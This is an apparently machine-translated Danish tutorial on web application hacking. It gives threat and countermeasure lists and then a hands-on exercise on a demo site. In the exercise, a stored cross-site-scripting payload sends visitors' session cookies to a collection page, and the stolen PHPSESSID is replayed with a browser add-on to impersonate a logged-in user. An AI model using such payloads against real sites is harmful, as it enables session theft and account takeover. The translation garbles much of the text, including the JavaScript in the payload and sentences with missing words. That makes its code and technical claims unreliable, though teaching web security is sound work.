Articles

Sådan hacke en hjemmeside: Hacking hjemmesider online eksempel

flere mennesker har adgang til internettet end nogensinde før. Dette har fået mange organisationer til at udvikle internetbaserede applikationer, som brugerne kan bruge online til at interagere med organisationen. Dårligt skrevet kode til internetapplikationer kan udnyttes til at få uautoriseret adgang til følsomme data og internetservere.

i denne tutorial vil du lære at hacke hjemmesider, og vi vil introducere dig til internet applikation hacking teknikker og de modforanstaltninger, du kan sætte på plads for at beskytte mod sådanne angreb.

emner, der er omfattet af denne tutorial

  • hvad er en internetapplikation? Hvad er trusler på nettet?
  • Sådan beskytter du din hjemmeside mod hacks?
  • hjemmeside hacking tricks: Hack en hjemmeside online!

hvad er en hjemmeside? Hvad er trusler på nettet?

en internetapplikation (aka hjemmeside) er en applikation baseret på klientservermodellen. Serveren giver databaseadgang og forretningslogik. Det er hostet på en internetserver. Klientprogrammet kører på klientens netsøgemaskine. Applikationer er normalt skrevet på sprog som Java, C# og VB.Net, PHP, ColdFusion Markup sprog, etc. de databasemotorer, der anvendes i internetapplikationer, omfatter f.eks.

de fleste internetapplikationer hostes på offentlige servere, der er tilgængelige via Internettet. Dette gør dem sårbare over for angreb på grund af let tilgængelighed. Følgende er almindelige trusler mod internetapplikationer. målet med denne trussel kan være at omgå loginalgoritmer, sabotere dataene osv.Denial of Service-angreb– målet med denne trussel kunne være at nægte legitime brugere adgang til ressourcen

  • Cross Site Scripting– målet med denne trussel kunne være at injicere kode, der kan udføres på klientsiden.
  • Cookie / Sessionsforgiftning-målet med denne trussel er at ændre cookies/sessionsdata af en angriber for at få uautoriseret adgang.
  • Form manipulation-målet med denne trussel er at ændre formulardata såsom priser i e-handelsapplikationer, så angriberen kan få varer til nedsatte priser.
  • Code Injection-målet med denne trussel er at injicere kode som PHP, Python osv. det kan udføres på serveren. Koden kan installere bagdøre, afsløre følsomme oplysninger osv.
  • Defacement-målet med denne trussel er at ændre siden blevet vist på en hjemmeside og omdirigere alle sideanmodninger til en enkelt side, der indeholder angriberens besked.
  • Sådan beskytter du din hjemmeside mod hacks?

    en organisation kan vedtage følgende politik for at beskytte sig mod internetserverangreb. injektion-desinficering og validering af brugerparametre, inden de sendes til databasen til behandling, kan hjælpe med at reducere chancerne for at blive angrebet via injektion. Databasemotorer som f.eks. støtte parametre, og forberedte udsagn. Denial of Service-angreb – brandvægge kan bruges til at droppe trafik fra mistænkelig IP-adresse, hvis angrebet er en simpel DoS. Korrekt konfiguration af netværk og Intrusion Detection System kan også bidrage til at reducere chancerne for en DoS angreb været en succes.

  • Cross Site Scripting – validering og desinficering af overskrifter, parametre, der sendes via URL ‘ en, formularparametre og skjulte værdier kan hjælpe med at reducere KSS-angreb.
  • Cookie / Session forgiftning-dette kan forhindres ved at kryptere indholdet af cookies, timing ud cookies efter nogen tid, knytte cookies med klientens IP-adresse, der blev brugt til at oprette dem.
  • formhærdning – dette kan forhindres ved at validere og verificere brugerinput, før det behandles.
  • Kodeinjektion – dette kan forhindres ved at behandle alle parametre som data snarere end eksekverbar kode. Desinficering og validering kan bruges til at implementere dette.
  • Defacement – en god sikkerhedspolitik for udvikling af applikationer skal sikre, at den forsegler de almindeligt anvendte sårbarheder for at få adgang til internetserveren. Dette kan være en korrekt konfiguration af operativsystemet, internetserverprogrammer og bedste sikkerhedspraksis, når du udvikler internetapplikationer.
  • hjemmeside hacking tricks: Hack en hjemmeside online

    i denne hjemmeside hacking praktisk scenario, vi kommer til at kapre brugeren session af internettet Ansøgning placeret på www.techpanda.org. Vi bruger cross site scripting til at læse cookie session id og derefter bruge det til at efterligne en legitim brugersession.

    antagelsen er, at angriberen har adgang til internetapplikationen, og han vil gerne kapre sessionerne fra andre brugere, der bruger den samme applikation. Målet med dette angreb kan være at få administratoradgang til internetapplikationen, forudsat at angriberens adgangskonto er begrænset.

    Kom godt i gang

    • Åbnhttp://www.techpanda.org/
    • til praksisformål anbefales det kraftigt at få adgang ved hjælp af injektion. Se denne artikel for at få flere oplysninger om, hvordan du gør det.
    • login-e-mailen er, at denne e-mail-adresse bliver beskyttet mod spambots. Du skal have JavaScript aktiveret for at kunne se det., adgangskoden er Adgangskode2010
    • hvis du har logget ind med succes, får du følgende dashboard

    sådan hackes en hjemmeside

    • Klik på Tilføj ny kontakt
    • Indtast følgende som fornavn

    <a href=# onclick=\”dokument.placering=\’ http://techpanda.org/snatch_sess_id.php?c=\’+escape \(dokument.cookie\)\;\”>Dark</a>

    her,

    ovenstående kode bruger JavaScript. Det tilføjer et hyperlink med en onclick begivenhed. Når den intetanende bruger klikker på linket, henter begivenheden PHP cookie session ID og sender det til snatch_sess_id.php side sammen med session id i URL ‘ en

    sådan hackes en hjemmeside

    • Indtast de resterende detaljer som vist nedenfor
    • Klik på Gem ændringer

    sådan hackes en hjemmeside

    • dit dashboard vil nu se ud som følgende skærm

    sådan hackes en hjemmeside

    • da cross site script-koden er gemt i databasen, indlæses den hver gang brugere med adgangsrettigheder login
    • lad os antage, at administratoren logger ind og klikker på hyperlinket, der siger mørkt
    • han/hun får vinduet med sessions-id ‘et, der vises i URL’ en

    sådan hackes en hjemmeside

    Bemærk: scriptet kunne sende værdien til en bestemt bruger, der ikke nogle eksterne server, hvor phpsessid er gemt så brugeren omdirigeret tilbage til hjemmesiden, som om intet skete.

    Bemærk: den værdi, du får, Kan være forskellig fra den i denne hjemmeside hacking tutorial, men konceptet er det samme

    Session efterligning ved hjælp af add-on

    rutediagrammet nedenfor viser de trin, du skal tage for at fuldføre denne øvelse.

    hvordan til at hacke en hjemmeside

    • du skal bruge til dette afsnit og manipulere data add-on
    • Åbn Firefoks og installere Tilføj som vist i diagrammerne nedenfor

    sådan hackes en hjemmeside

    sådan hackes en hjemmeside

    • søg efter manipulationsdata, og klik derefter på Installer som vist ovenfor

    sådan hackes en hjemmeside

    • klik på på Accepter og installer…

    sådan hackes en hjemmeside

    sådan hackes en hjemmeside

    • Klik på Genstart nu, når installationen er afsluttet
    • aktiver menulinjen i brand, hvis den ikke vises

    sådan hackes en hjemmeside

    • klik på værktøjsmenuen og vælg derefter tamper data som vist nedenfor

    sådan hackes en hjemmeside

    • du får følgende vindue. Bemærk: hvis vinduerne ikke er tomme, skal du trykke på knappen Ryd

    sådan hackes en hjemmeside

    • Klik på Start Tamper-menuen
    • Skift tilbage til Firefoks-netsøgeren, skriv http://www.techpanda.org/dashboard.php tryk derefter på enter-tasten for at indlæse siden
    • Du får følgende pop op fra Tamper Data

    sådan hackes en hjemmeside

    • pop op-vinduet har tre (3) muligheder. Indstillingen Tamper giver dig mulighed for at ændre HTTP-overskriftsoplysningerne, før de sendes til serveren.
    • Klik på det
    • Du får følgende vindue

    sådan hackes en hjemmeside

    • Kopier PHP session ID du kopierede fra angreb URL og indsæt det efter lighedstegnet. Din værdi skal nu se sådan ud

    PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

    • Klik på OK-knappen
    • Du får popup-vinduet Tamper data igen

    sådan hackes en hjemmeside

    • fjern markeringen i afkrydsningsfeltet, der spørger fortsæt manipulation?
    • Klik på Send-knappen, når du er færdig
    • du skal kunne se dashboardet som vist nedenfor

    sådan hackes en hjemmeside

    Bemærk: vi loggede ikke ind, vi efterlignede en login-session ved hjælp af den PHPSESSID-værdi, vi hentede ved hjælp af cross site scripting

    Resume

    • en internetapplikation er baseret på server-klientmodellen. På den anden side er det muligt at få adgang til de ressourcer, der findes på serveren.
    • applikationer er normalt tilgængelige via Internettet. Dette gør dem sårbare over for angreb.
    • internet applikationstrusler omfatter injektion, Kodeinjektion, Defacement, Cookie forgiftning osv.
    • en god sikkerhedspolitik, når du udvikler internetapplikationer, kan hjælpe med at gøre dem sikre.